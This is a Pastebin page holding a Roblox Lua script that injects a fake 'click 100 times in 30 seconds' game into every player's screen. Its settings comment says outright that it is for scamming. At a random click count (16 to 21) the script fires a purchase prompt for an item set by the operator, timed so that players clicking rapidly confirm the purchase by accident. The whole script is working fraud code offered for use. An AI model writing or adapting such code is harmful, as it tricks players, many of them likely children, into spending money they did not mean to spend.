Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --------------------------This is an Official script from Duelist--------------------------
- ---{-------------------- -------------------}---
- ---{-------------------- / \ -------------------}---
- ---{-------------------- II -------------------}---
- ---{-------------------- II -------------------}---
- ---{-------------------- II -------------------}---
- ---{-------------------- A========A -------------------}---
- ---{-------------------- II -------------------}---
- ---{-------------------- II -------------------}---
- ---{-------------------- W -------------------}---
- -------------------------------------------------------------------------------------------------------------
- --Credit to PPATTA
- --// Settings
- timer = 30 -- Length of each game
- sellAt = math.random(16,21) -- Number of clicks at which the item is sold
- sellID = 524860279 -- ID of the item you want to sell to the user
- sellDevProduct = false -- If you want to scam with a developer product
- donateEnabled = true -- If the GUI should have a donate button
- donateID = 1001148463 -- ID of the item you want the user to buy to donate
- donateDevProduct = false -- If you want donations to be a developer product
- --\\ End of settings
- for _,plr in pairs(game.Players:GetPlayers()) do
- pcall(function()
- local PlayerGUI = plr:FindFirstChildOfClass("PlayerGui")
- if PlayerGUI == nil or PlayerGUI:FindFirstChild("ClickerGUI") then
- return
- end
- local ClickerGUI = Instance.new("ScreenGui")
- local ClickerFrame = Instance.new("ImageLabel")
- local ClickButton1 = Instance.new("ImageButton")
- local ButtonText = Instance.new("TextLabel")
- local Challenge = Instance.new("TextLabel")
- local Title = Instance.new("TextLabel")
- local HighScore = Instance.new("TextLabel")
- local Timer = Instance.new("TextLabel")
- local Clicks = Instance.new("TextLabel")
- local DonateButton = Instance.new("ImageButton")
- local ButtonText_2 = Instance.new("TextLabel")
- local ClickButton2 = Instance.new("ImageButton")
- local ButtonText_3 = Instance.new("TextLabel")
- ClickerGUI.Name = "ClickerGUI"
- ClickerGUI.ResetOnSpawn = false
- ClickerFrame.Name = "ClickerFrame"
- ClickerFrame.Parent = ClickerGUI
- ClickerFrame.BackgroundTransparency = 1
- ClickerFrame.Position = UDim2.new(0.5, -162, 0.5, -90)
- ClickerFrame.Size = UDim2.new(0, 324, 0, 180)
- ClickerFrame.ZIndex = 8
- ClickerFrame.Image = "rbxasset://textures/ui/LoadingBKG.png"
- ClickButton1.Name = "ClickButton1"
- ClickButton1.Parent = ClickerFrame
- ClickButton1.BackgroundTransparency = 1
- ClickButton1.Position = UDim2.new(0, 2, 0, 136)
- ClickButton1.Size = UDim2.new(0, 320, 0, 44)
- ClickButton1.ZIndex = 9
- ClickButton1.AutoButtonColor = false
- ClickButton1.Modal = true
- ClickButton1.Image = "rbxasset://textures/ui/SingleButton.png"
- ButtonText.Name = "ButtonText"
- ButtonText.Parent = ClickButton1
- ButtonText.BackgroundTransparency = 1
- ButtonText.Size = UDim2.new(1, 0, 1, 0)
- ButtonText.ZIndex = 10
- ButtonText.Font = Enum.Font.SourceSansBold
- ButtonText.FontSize = Enum.FontSize.Size24
- ButtonText.Text = "Start"
- ButtonText.TextColor3 = Color3.new(1, 1, 1)
- ButtonText.TextSize = 24
- Challenge.Name = "Challenge"
- Challenge.Parent = ClickerFrame
- Challenge.BackgroundTransparency = 1
- Challenge.Position = UDim2.new(0, 10, 0, 100)
- Challenge.Size = UDim2.new(1, -20, 0, 30)
- Challenge.ZIndex = 10
- Challenge.Font = Enum.Font.SourceSansItalic
- Challenge.FontSize = Enum.FontSize.Size24
- Challenge.Text = "Try to get 100 clicks in 30 seconds!"
- Challenge.TextColor3 = Color3.new(1, 1, 1)
- Challenge.TextSize = 24
- Challenge.TextWrapped = true
- Title.Name = "Title"
- Title.Parent = ClickerFrame
- Title.BackgroundTransparency = 1
- Title.Position = UDim2.new(0, 10, 0, 15)
- Title.Size = UDim2.new(1, -20, 0, 30)
- Title.ZIndex = 10
- Title.Font = Enum.Font.SourceSansBold
- Title.FontSize = Enum.FontSize.Size24
- Title.Text = "How many times can you click to win?"
- Title.TextColor3 = Color3.new(1, 1, 1)
- Title.TextSize = 24
- Title.TextWrapped = true
- HighScore.Name = "HighScore"
- HighScore.Parent = ClickerFrame
- HighScore.BackgroundTransparency = 1
- HighScore.Position = UDim2.new(0, 10, 0, 70)
- HighScore.Size = UDim2.new(1, -20, 0, 30)
- HighScore.ZIndex = 10
- HighScore.Font = Enum.Font.SourceSans
- HighScore.FontSize = Enum.FontSize.Size24
- HighScore.Text = "High Score: 0 Clicks"
- HighScore.TextColor3 = Color3.new(1, 1, 1)
- HighScore.TextSize = 24
- HighScore.TextWrapped = true
- Timer.Name = "Timer"
- Timer.Parent = ClickerFrame
- Timer.BackgroundTransparency = 1
- Timer.Position = UDim2.new(0, 20, 0, 40)
- Timer.Size = UDim2.new(1, -40, 0, 30)
- Timer.ZIndex = 10
- Timer.Font = Enum.Font.SourceSans
- Timer.FontSize = Enum.FontSize.Size24
- Timer.Text = "30s"
- Timer.TextColor3 = Color3.new(1, 1, 1)
- Timer.TextSize = 24
- Timer.TextWrapped = true
- Timer.TextXAlignment = Enum.TextXAlignment.Left
- Clicks.Name = "Clicks"
- Clicks.Parent = ClickerFrame
- Clicks.BackgroundTransparency = 1
- Clicks.Position = UDim2.new(0, 20, 0, 40)
- Clicks.Size = UDim2.new(1, -40, 0, 30)
- Clicks.ZIndex = 10
- Clicks.Font = Enum.Font.SourceSans
- Clicks.FontSize = Enum.FontSize.Size24
- Clicks.Text = "0 Clicks"
- Clicks.TextColor3 = Color3.new(1, 1, 1)
- Clicks.TextSize = 24
- Clicks.TextWrapped = true
- Clicks.TextXAlignment = Enum.TextXAlignment.Right
- DonateButton.Name = "DonateButton"
- DonateButton.Parent = ClickerFrame
- DonateButton.BackgroundTransparency = 1
- DonateButton.Position = UDim2.new(0.5, 0, 0, 136)
- DonateButton.Size = UDim2.new(0, 162, 0, 44)
- DonateButton.Visible = false
- DonateButton.ZIndex = 9
- DonateButton.AutoButtonColor = false
- DonateButton.Modal = true
- DonateButton.Image = "rbxasset://textures/ui/ButtonRight.png"
- ButtonText_2.Name = "ButtonText"
- ButtonText_2.Parent = DonateButton
- ButtonText_2.BackgroundTransparency = 1
- ButtonText_2.Size = UDim2.new(1, 0, 1, 0)
- ButtonText_2.ZIndex = 10
- ButtonText_2.Font = Enum.Font.SourceSans
- ButtonText_2.FontSize = Enum.FontSize.Size24
- ButtonText_2.Text = "Donate"
- ButtonText_2.TextColor3 = Color3.new(1, 1, 1)
- ButtonText_2.TextSize = 24
- ClickButton2.Name = "ClickButton2"
- ClickButton2.Parent = ClickerFrame
- ClickButton2.BackgroundTransparency = 1
- ClickButton2.Position = UDim2.new(0, 0, 0, 136)
- ClickButton2.Size = UDim2.new(0, 162, 0, 44)
- ClickButton2.Visible = false
- ClickButton2.ZIndex = 9
- ClickButton2.AutoButtonColor = false
- ClickButton2.Modal = true
- ClickButton2.Image = "rbxasset://textures/ui/ButtonLeft.png"
- ButtonText_3.Name = "ButtonText"
- ButtonText_3.Parent = ClickButton2
- ButtonText_3.BackgroundTransparency = 1
- ButtonText_3.Size = UDim2.new(1, 0, 1, 0)
- ButtonText_3.ZIndex = 10
- ButtonText_3.Font = Enum.Font.SourceSansBold
- ButtonText_3.FontSize = Enum.FontSize.Size24
- ButtonText_3.Text = "Start"
- ButtonText_3.TextColor3 = Color3.new(1, 1, 1)
- ButtonText_3.TextSize = 24
- local started = false
- local currentTime = timer
- local clicks = 0
- local highScore = clicks
- local clickButton = ClickButton1
- Timer.Text = timer.."s"
- if donateEnabled == true then
- ClickButton1:Destroy()
- clickButton = ClickButton2
- clickButton.Visible = true
- DonateButton.Visible = true
- DonateButton.MouseEnter:connect(function()
- DonateButton.Image = "rbxasset://textures/ui/ButtonRightDown.png"
- end)
- DonateButton.MouseLeave:connect(function()
- DonateButton.Image = "rbxasset://textures/ui/ButtonRight.png"
- end)
- DonateButton.MouseButton1Click:connect(function()
- if donateDevProduct == true then
- game:GetService("MarketplaceService"):PromptProductPurchase(plr,donateID)
- else
- game:GetService("MarketplaceService"):PromptPurchase(plr,donateID)
- end
- end)
- else
- ClickButton2:Destroy()
- DonateButton:Destroy()
- end
- clickButton.MouseEnter:connect(function()
- if clickButton.Name == "ClickButton2" then
- clickButton.Image = "rbxasset://textures/ui/ButtonLeftDown.png"
- else
- clickButton.Image = "rbxasset://textures/ui/SingleButtonDown.png"
- end
- end)
- clickButton.MouseLeave:connect(function()
- if clickButton.Name == "ClickButton2" then
- clickButton.Image = "rbxasset://textures/ui/ButtonLeft.png"
- else
- clickButton.Image = "rbxasset://textures/ui/SingleButton.png"
- end
- end)
- clickButton.MouseButton1Click:connect(function()
- if started == false then
- started = true
- clicks = 0
- clickButton.ButtonText.Font = "SourceSans"
- Clicks.Text = clicks.." Clicks"
- Timer.Text = timer.."s"
- clickButton.ButtonText.Text = "Click"
- for i = timer,0,-1 do
- wait(1)
- currentTime = i
- Timer.Text = currentTime.."s"
- end
- clickButton.ButtonText.Font = "SourceSansBold"
- clickButton.ButtonText.Text = "Game Over"
- wait(2)
- clickButton.ButtonText.Text = "Restart"
- started = false
- elseif currentTime > 0 then
- clicks = clicks+1
- Clicks.Text = clicks.." Clicks"
- if clicks == sellAt then
- if sellDevProduct == true then
- game:GetService("MarketplaceService"):PromptProductPurchase(plr,sellID)
- else
- game:GetService("MarketplaceService"):PromptPurchase(plr,sellID)
- end
- end
- if clicks > highScore then
- highScore = clicks
- HighScore.Text = "High Score: "..highScore.." Clicks"
- end
- end
- end)
- ClickerGUI.Parent = PlayerGUI
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement